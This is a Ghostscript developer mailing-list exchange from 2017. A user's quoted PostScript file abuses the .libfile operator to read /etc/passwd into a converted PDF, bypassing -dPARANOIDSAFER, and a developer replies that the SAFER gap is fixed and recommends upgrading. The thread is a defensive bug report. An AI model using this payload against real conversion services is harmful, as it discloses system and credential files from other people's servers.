Re: security issues while converting ps file to pdf?

Chris Liddell <[email protected]> Tue, 28 Feb 2017 11:27:52 +0000
Newsgroups gmane.comp.printing.ghostscript.devel
Message-ID <[email protected]>
You should update to a more recent version of Ghostscript - ideally, use 
the current code in the git repo:
http://git.ghostscript.com/?p=ghostpdl.git

Or 9.21 should be coming out in the next few weeks.

The "SAFER" code wasn't implemented for the .libfile operator (which is 
Ghostscript specific, and *not* real Postscript). It now does. The 9.20 
release *may* work better, but I can't remember right now.

As of a *long* time ago, -dPARANOIDSAFER is the same as -dSAFER.

Chris


On 28/02/17 11:19, Eero Volotinen wrote:
> Hi,
>
> Is there way to disable dangerous commands while converting from ps to pdf
>
> for example dangerous.pdf contains following ps code:
>
> %!PS
> /Buf 1024 string def % line buffer
> /Courier             % name the desired font
> 8 selectfont         % choose the size in points and establish
> /LM 72 def           % Left Margin
> /ypos 800 def        % current y position
> /lineheight 10 def   % height of a line
> /newline {
>     ypos lineheight sub
>     /ypos exch def
>     LM ypos moveto
> } def
> LM ypos moveto
>
> (/etc/passwd) .libfile {
>     {
>         dup Buf readline
>         {
>             show
>         }{
>             show
>             showpage
>             quit
>         } ifelse
>         newline
>     } loop
> } if
>
> and after conversion with following parameters produced pdf file contains
> /etc/passwd
> contains:
>
> gs  -dPARANOIDSAFER -dPDFA   -dBATCH -dNOPAUSE
> -sProcessColorModel=DeviceCMYK -sDEVICE=pdfwrite
> -sPDFACompatibilityPolicy=1 -sOutputFile=out.pdf dangerous.pdf
>
> Thanks.
>
> Tried to figure out configration file gs_init.ps but it's a bit cryptic for
> normal person ;)
>
> br,
>